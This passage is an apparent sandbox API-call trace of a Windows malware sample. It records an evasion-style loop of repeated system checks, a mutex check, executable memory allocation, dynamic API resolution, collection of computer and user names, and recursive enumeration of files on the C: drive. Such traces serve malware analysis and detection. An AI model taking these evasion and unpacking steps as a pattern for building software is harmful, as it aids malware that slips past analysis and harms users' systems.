GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.496] GetSystemMetrics (nIndex=25) returned 0 [0031.496] CountClipboardFormats () returned 0 [0031.496] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.496] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.497] CountClipboardFormats () returned 0 [0031.497] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.497] GetFocus () returned 0x0 [0031.497] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.498] GetSystemMetrics (nIndex=25) returned 0 [0031.498] CountClipboardFormats () returned 0 [0031.498] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.498] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.499] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.499] GetFocus () returned 0x0 [0031.499] GetSystemMetrics (nIndex=25) returned 0 [0031.499] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.500] GetFocus () returned 0x0 [0031.500] GetSystemMetrics (nIndex=25) returned 0 [0031.500] CountClipboardFormats () returned 0 [0031.500] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.501] GetFocus () returned 0x0 [0031.501] GetSystemMetrics (nIndex=25) returned 0 [0031.501] CountClipboardFormats () returned 0 [0031.501] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0031.501] GetFocus () returned 0x0 [0031.501] Sleep (dwMilliseconds=0x0) [0031.501] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0031.501] GetLastError () returned 0x2 [0031.501] GetLocalTime (in: lpSystemTime=0x3bfc50 | out: lpSystemTime=0x3bfc50*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0xe, wMilliseconds=0x284)) [0031.501] VarI4FromUI1 (in: bIn=0x1, plOut=0x3bfc60 | out: plOut=0x3bfc60) returned 0x0 [0031.501] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3bfa94 | out: ProcedureAddress=0x3bfa94*=0x75a01856) returned 0x0 [0031.501] VirtualAlloc (lpAddress=0x0, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0xe0000 [0031.503] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3bfacc | out: ProcedureAddress=0x3bfacc*=0x75a01856) returned 0x0 [0031.503] VirtualAlloc (lpAddress=0x0, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x40) returned 0x100000 [0031.504] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x3bfb3c | out: ProcedureAddress=0x3bfb3c*=0x75a049d7) returned 0x0 [0031.504] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x3bfb3c | out: ProcedureAddress=0x3bfb3c*=0x75a01826) returned 0x0 [0031.504] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x3bfb3c | out: ProcedureAddress=0x3bfb3c*=0x75a01222) returned 0x0 [0031.504] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3bfb3c | out: ProcedureAddress=0x3bfb3c*=0x75a01856) returned 0x0 [0031.504] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x3bfb3c | out: ProcedureAddress=0x3bfb3c*=0x75a0435f) returned 0x0 [0031.505] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x3bfb3c | out: ProcedureAddress=0x3bfb3c*=0x772e742b) returned 0x0 [0031.505] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x3bfb3c | out: ProcedureAddress=0x3bfb3c*=0x772e5f41) returned 0x0 [0031.505] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x752a0000 [0031.505] GetProcAddress (hModule=0x752a0000, lpProcName="strchr") returned 0x752adbeb [0031.505] GetProcAddress (hModule=0x752a0000, lpProcName="free") returned 0x752a9894 [0031.505] GetProcAddress (hModule=0x752a0000, lpProcName="malloc") returned 0x752a9cee [0031.505] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x759f0000 [0031.505] GetProcAddress (hModule=0x759f0000, lpProcName="FreeConsole") returned 0x75aa6aa8 [0031.505] GetProcAddress (hModule=0x759f0000, lpProcName="lstrlenW") returned 0x75a01700 [0031.505] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcatW") returned 0x75a2828e [0031.505] GetProcAddress (hModule=0x759f0000, lpProcName="FindFirstFileW") returned 0x75a04435 [0031.505] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcmpW") returned 0x75a05929 [0031.505] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcpyW") returned 0x75a23102 [0031.505] GetProcAddress (hModule=0x759f0000, lpProcName="FindNextFileW") returned 0x75a054ee [0031.505] GetProcAddress (hModule=0x759f0000, lpProcName="FindClose") returned 0x75a04442 [0031.506] GetProcAddress (hModule=0x759f0000, lpProcName="GetModuleHandleA") returned 0x75a01245 [0031.506] GetProcAddress (hModule=0x759f0000, lpProcName="GetModuleFileNameA") returned 0x75a014b1 [0031.506] GetProcAddress (hModule=0x759f0000, lpProcName="GetComputerNameA") returned 0x75a1b6e0 [0031.506] GetProcAddress (hModule=0x759f0000, lpProcName="GetComputerNameExA") returned 0x75a842ef [0031.506] GetProcAddress (hModule=0x759f0000, lpProcName="lstrlenA") returned 0x75a05a4b [0031.506] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcmpA") returned 0x75a1eceb [0031.506] GetProcAddress (hModule=0x759f0000, lpProcName="GetLastError") returned 0x75a011c0 [0031.506] GetProcAddress (hModule=0x759f0000, lpProcName="GetProcessHeap") returned 0x75a014e9 [0031.506] GetProcAddress (hModule=0x759f0000, lpProcName="HeapAlloc") returned 0x7729e026 [0031.506] GetProcAddress (hModule=0x759f0000, lpProcName="HeapFree") returned 0x75a014c9 [0031.506] GetProcAddress (hModule=0x759f0000, lpProcName="SetLastError") returned 0x75a011a9 [0031.507] GetProcAddress (hModule=0x759f0000, lpProcName="GetCurrentProcess") returned 0x75a01809 [0031.507] GetProcAddress (hModule=0x759f0000, lpProcName="GetCurrentProcessId") returned 0x75a011f8 [0031.507] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75790000 [0031.507] GetProcAddress (hModule=0x75790000, lpProcName="wsprintfA") returned 0x757bae5f [0031.507] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x756e0000 [0031.508] GetProcAddress (hModule=0x756e0000, lpProcName="GetUserNameA") returned 0x7570a4b4 [0031.508] lstrcpyW (in: lpString1=0x122718, lpString2="c:\\" | out: lpString1="c:\\") returned="c:\\" [0031.508] lstrlenW (lpString="c:\\") returned 3 [0031.508] lstrcatW (in: lpString1="c:\\", lpString2="*" | out: lpString1="c:\\*") returned="c:\\*" [0031.508] FindFirstFileW (in: lpFileName="c:\\*", lpFindFileData=0x3bf5ac | out: lpFindFileData=0x3bf5ac) returned 0x7759f0 [0031.508] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0031.508] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0031.508] lstrcmpW (lpString1="$Recycle.Bin", lpString2="Windows") returned -1 [0031.508] lstrcmpW (lpString1="$Recycle.Bin", lpString2="Program Files") returned -1 [0031.508] lstrlenW (lpString="c:\\") returned 3 [0031.508] lstrlenW (lpString="$Recycle.Bin") returned 12 [0031.508] lstrcatW (in: lpString1="c:\\", lpString2="$Recycle.Bin" | out: lpString1="c:\\$Recycle.Bin") returned="c:\\$Recycle.Bin" [0031.508] lstrcatW (in: lpString1="c:\\$Recycle.Bin", lpString2="\\" | out: lpString1="c:\\$Recycle.Bin\\") returned="c:\\$Recycle.Bin\\" [0031.508] lstrlenW (lpString="c:\\$Recycle.Bin\\") returned 16 [0031.508] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="c:\\$Recycle.Bin\\*") returned="c:\\$Recycle.Bin\\*" [0031.508] FindFirstFileW (in: lpFileName="c:\\$Recycle.Bin\\*", lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 0x775a30 [0031.508] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.508] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.509] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.509] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.509] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.509] lstrcmpW (lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2=".") returned 1 [0031.509] lstrcmpW (lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2="..") returned 1 [0031.509] lstrlenW (lpString="c:\\$Recycle.Bin\\") returned 16 [0031.509] lstrlenW (lpString="S-1-5-21-2345716840-1148442690-1481144037-1000") returned 46 [0031.509] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\", lpString2="S-1-5-21-2345716840-1148442690-1481144037-1000" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000" [0031.509] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2="\\" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\" [0031.509] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned 63 [0031.509] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpString2="*" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*" [0031.509] FindFirstFileW (in: lpFileName="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.509] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.509] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.509] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.509] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.509] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.509] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0031.509] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0031.509] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned 63 [0031.509] lstrlenW (lpString="desktop.ini") returned 11 [0031.509] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpString2="desktop.ini" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" [0031.509] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned 74 [0031.509] lstrcpyW (in: lpString1=0x122928, lpString2="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" [0031.509] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.509] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.509] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 0 [0031.509] FindClose (in: hFindFile=0x775a30 | out: hFindFile=0x775a30) returned 1 [0031.509] FindNextFileW (in: hFindFile=0x7759f0, lpFindFileData=0x3bf5ac | out: lpFindFileData=0x3bf5ac) returned 1 [0031.510] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0031.510] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0031.510] lstrcmpW (lpString1="Boot", lpString2="Windows") returned -1 [0031.510] lstrcmpW (lpString1="Boot", lpString2="Program Files") returned -1 [0031.510] lstrlenW (lpString="c:\\") returned 3 [0031.510] lstrlenW (lpString="Boot") returned 4 [0031.510] lstrcatW (in: lpString1="c:\\", lpString2="Boot" | out: lpString1="c:\\Boot") returned="c:\\Boot" [0031.510] lstrcatW (in: lpString1="c:\\Boot", lpString2="\\" | out: lpString1="c:\\Boot\\") returned="c:\\Boot\\" [0031.510] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.510] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="*" | out: lpString1="c:\\Boot\\*") returned="c:\\Boot\\*" [0031.510] FindFirstFileW (in: lpFileName="c:\\Boot\\*", lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 0x775a30 [0031.510] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.510] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.510] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.510] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.510] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.510] lstrcmpW (lpString1="BCD", lpString2=".") returned 1 [0031.510] lstrcmpW (lpString1="BCD", lpString2="..") returned 1 [0031.510] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.510] lstrlenW (lpString="BCD") returned 3 [0031.510] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD" | out: lpString1="c:\\Boot\\BCD") returned="c:\\Boot\\BCD" [0031.510] lstrlenW (lpString="c:\\Boot\\BCD") returned 11 [0031.510] lstrcpyW (in: lpString1=0x1214d0, lpString2="c:\\Boot\\BCD" | out: 